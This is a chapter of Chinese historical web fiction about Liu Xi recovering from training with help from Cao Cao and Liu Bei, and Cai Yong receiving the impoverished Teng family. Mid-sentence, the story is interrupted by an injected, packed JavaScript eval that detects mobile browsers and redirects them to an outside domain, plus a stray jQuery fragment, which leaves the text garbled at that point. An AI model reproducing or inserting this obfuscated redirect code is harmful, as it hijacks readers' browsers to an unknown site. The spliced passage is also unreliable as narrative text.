公孙越将累到不能动的刘晞送回来的时候,刘备和曹操刚准备吃饭。
“阿兄,我回来啦。”刘晞在公孙越怀里有气无力的和刘备招呼。
“这是怎么了?”刘备连忙接过刘晞,刘晞顺势趴在刘备的肩膀上不想动。
“是我没注意到小西的状态,练习的强度没控制好。”公孙越摸摸鼻子,第一天教人就把人教成这样,有点不太好意思。
“是我觉得自己能坚持住才没说的,阿越教的很好。”刘晞凑在刘备耳边说到,这件事本来就是他的问题,怎么能让公孙越背锅呢。
“没事,下次不可以了,知道吗?”刘备轻轻拍了拍自己弟弟的后背以示惩罚。
“知道啦知道啦。”刘晞拖着长音回话,也不知道是不是真的听进去了。
“吃过饭了吗?”刘备问道。
“我们吃过饭才过来的,人送到了,我就先回家了,我明天再来接小西上学。”公孙越把刘晞送过来就准备回去了。
“稍等。”刘备先叫住要走的公孙越,转头问刘晞:“明天还去上学吗,要不要休息一天。”
“要去学堂,我能起来!”刘晞伸了伸胳膊表示自己完全没有是,不小心抻到了胳膊,嘶的时候又缩了回去。
“好吧,明天就继续辛苦阿越了,回去路上慢点。”刘备对公孙越点了点头,等人走远了才关上门。
“怎么把自己累成这样?平日里不是还让我劳逸结合,到自己了反而不记得了?”刘备拍拍自家弟弟的后背,想责备又说不出重话,抱着弟弟往主屋走。
“哼哼,这叫天将降大任于斯人也,必先苦其心志……”刘晞摇头晃脑的背着。
“增益其所不能。”最后一句话,曹操和刘晞的声音交叠在一块。
“孟德兄晚上好。”刘晞支棱起来脑袋跟曹操打招呼,被刘备放到榻上。
“晚上好。”来了就好的曹操已经习惯了每次见面都要被刘晞问遍好了。
“哪里疼?”刘备弯着腰检查刘晞的身体。
“哪里都疼,又酸又疼,你看,胳膊都抬不起来了。”刘晞抬抬胳膊,又虚弱的放下。
曹操溜达过来看了看,又在刘晞身上捏了捏问疼吗?酸吗?都得到了肯定的答案。
“第一天练基本功都会酸疼,他这样是正常的,吃完饭我教你怎么给他捏捏,明天让他起来能正常活动。”曹操说道。
“哎?”刘晞歪头看向曹操,这个时候的曹操这么友善吗?
“在这里休息,还是去卧房。”刘备问道,在刘晞表示要去卧房休息之后,直接把人抱到了卧房的床上。
刘晞在床上躺着放空自己,公孙瓒教的很基础,刘晞学的也很快,只是高估了自己的身体。
“把灯亮一点,照着我的动作学。”曹操一边指挥刘备把灯点亮点,把手放在刘晞一边的胳膊上。
刘晞被俩个人捏捏的舒服的哼哼,曹操一点点的教刘备要捏哪里?用多大的力度?
“就这样,睡一觉明天就会好一点,不会耽误他明天的学习。”曹操跟刘备讲完,看着刘晞快被哄睡了,没忍住,捏了捏刘晞肉嘟嘟的小脸。
“多谢了。”刘备将自己弟弟放到被子里盖好,起身道谢。曹操便回了他的卧房休息了。
……
“阿兄早!孟德兄早!昨天谢谢你,我今天真的不怎么疼了!!”刘晞蹦蹦跳跳的到了曹操前面,看得出来昨天休息的很好,一大早就很有活力。
“早。”
“孟德兄,蔡先生昨天让我跟你说,唔,怎么说来着,回去跟孟德带个话,某人说要来涿县做教书先生,怎么到现在也没个人影啊。”刘晞模仿者当时蔡邕的语气说出来,听的俩人都笑得不行。
“好,好,一会我同你一起去学堂。”曹操笑着应声,转头看向刘备:“要留玄德一个人在家了。”
“那阿兄也去学堂?”刘晞想了想说到。
“不了,我今日去纸坊帮忙。”刘备并不想去学堂,他选择去干活。
“好吧。”刘晞坐下吃完他的早餐,等着公孙越过来接他一起上学。
然而,蔡邕倒是碰上了事情。第一天没找到人的滕柏在第二天又去了,这次比昨天去的早,终于见到了蔡邕。
滕柏按到自己爹的交代,给蔡邕说了,蔡邕看着手里的谒文,叹了口气。谒上所记之人,他自然认得,对方曾在胡广门下做过官,他又师从胡广,只不过俩人本就点头之交,没想到对方竟然找到了他。
“滕公可还安好?现在住在哪里?”蔡邕问道。
“家父,家父带着我们逃难至此,已无容身之地,如今在涿县城外。”滕柏说话的时候,红了眼眶。
“何至如此啊,我同你一起去将滕公请来。”蔡邕说道,起身准备同滕柏走,又顿住,同滕柏说稍等一下,才去内屋找自己女儿。
“琰儿,阿父有事要出去一趟,今年上午的怕是去不了学堂了,一会你同王华一起去学堂。”蔡邕叮嘱道,“今天孟德大概会去学堂,你告诉他学堂的进度,让他继续讲吧。”
“好的,阿父。”蔡琰的性子更加独立,其实一个人上学也没有问题的,只是蔡邕不放心罢了。
蔡邕处理好女儿和学堂的事情之后,去问了滕柏他们有多少人,有了答案之后,思索了一会,和滕柏说,他们去一趟市里租三驾车将人接进来。
蔡邕本来担心自己在这涿县只有一个俩居室的小房子,怎么放的下藤家这十来号人,等他见了面就会知道,藤家一行人找他不过是想通过他,接近刘备罢了,他根本就不用考虑他们住哪里的问题。
“滕公。”蔡邕见到滕延的时候,有些惊讶的,滕延确实比他要大个十几岁二十来岁的,但是这个面相,看起来要老的多。
“哪里担得起蔡郎中一声滕公,不过痴长些年岁罢了。”滕延苦笑着说。
“滕公折煞邕,邕如今也不过一介白身,在这涿县暂且安身自保罢了。”蔡邕搀起来滕延,说道:“此处不是说话的地方,如滕公不嫌弃,可到寒舍一叙。”
“那边叨扰了。”滕延自然不会拒绝,他们如今在城门口,已经十分引人注目了。
蔡邕带着一行人又回到了家里,蔡邕的房子虽然不到,主屋里进去七八个人之后
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16117893|179995||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就显得有些拥挤了。
“滕公请。”蔡邕给滕延看座,有给人倒了杯水,跟着滕延的几个人,即使蔡邕让他们坐下,但是滕延没有发话,已经没有什么动作。
“蔡先生让你们坐,没听到?”滕延出声指责道。
“是。”几个人按顺序落座。滕延也有时间给几个人介绍了。
“老大滕松,表字伯宁。”
被介绍的滕松站起来向蔡邕行礼,蔡邕回礼,滕松的年纪看着和蔡邕差不多。
“老二滕柏,表字公治。”滕柏起来又给蔡邕行了礼。蔡邕最开始见到的就是滕柏。
“若非到了这种地步,哎。”滕延叹了口气,他的刚直到底还是被生活磨平了。
滕延当年得到胡广的赏识,加上自身又有实力,不到四十岁就做到了京兆尹,又升迁做了济北相,怎么看都是前途一片光明。
滕延的品行和谨小慎微,奉行中庸之道的胡广不同,他清廉刚正。只是宦官当权,外戚干政,滕延注定不会有什么好下场。
候览和段珪俩个太监合谋,在家乡购置田产,侵犯百姓,侵犯到了济北地界,滕延不过按律处置,最终反被诬陷罢免了官职。
若事情到此结束,滕延也不至于举家逃离北海。本来以为这件事结束了,虽然仕途断了,但生活还要继续。到后来随着段珪的权力增加,就有人用欺压他来跟段珪套近乎,甚至确实得到了好处,自此,他在北海的生活就越来越艰难了,到了不得不离开的程度。
滕延这些年一边种地,一边教养孙子,虽然俩个儿子的天赋一般,但是孙子的天赋倒是不错,尤其是滕柏的长子,虽然身子骨不太好,但是读书的天赋很高,滕延对此给予厚望。
滕延这种封闭式的生活,他对于外面的情况还不是太了解,他们本来准备去兖州投奔亲友,谁能想到路上一波又一波土匪流民,差点要了命。
好不容易到了兖州才知道友人南下扬州,具体位置不知。滕延没有选择南下,几个人商量了一下,决定往北走,找一个稳定的地方定居下来。
他们这一路上见到了太多残酷的事情,本来他们并没有想要在涿县停留,只是滕柏长子突然生病,而且越来越严重,才让他们被迫停留在这里,这一年多的奔波,和滕柏长子生病吃药,他们身上的钱已经花光了。和涿县门口的流民似乎也没有什么区别了。
滕延观察着涿县的情况,想着怎么挣钱给孙子治病,即使偶尔俩个儿子可以做一点苦力,但是想干活的人太多了,他们挣得并不多。
这个时候,滕延注意到了涿县和他路过的几个县都要安稳的多,甚至流民暴动呢规模都很小,很快就可以被灭掉。他一步一步的收集信息,最终确定了涿县真正的话事人,刘备。
但刘氏一家显然并不好接近,知道蔡邕在刘氏做夫子时候,滕延就想到这个拐着弯的注意。
滕延将自己的遭遇告诉蔡邕,蔡邕安慰着滕延,在最后滕延想要蔡邕帮忙引荐刘备的时候。沉默了一会,最终还是答应了,只说他们在这里歇一会,他去同刘备提前说一声,便让俩个书童安排几个人的午饭,自己就出去了。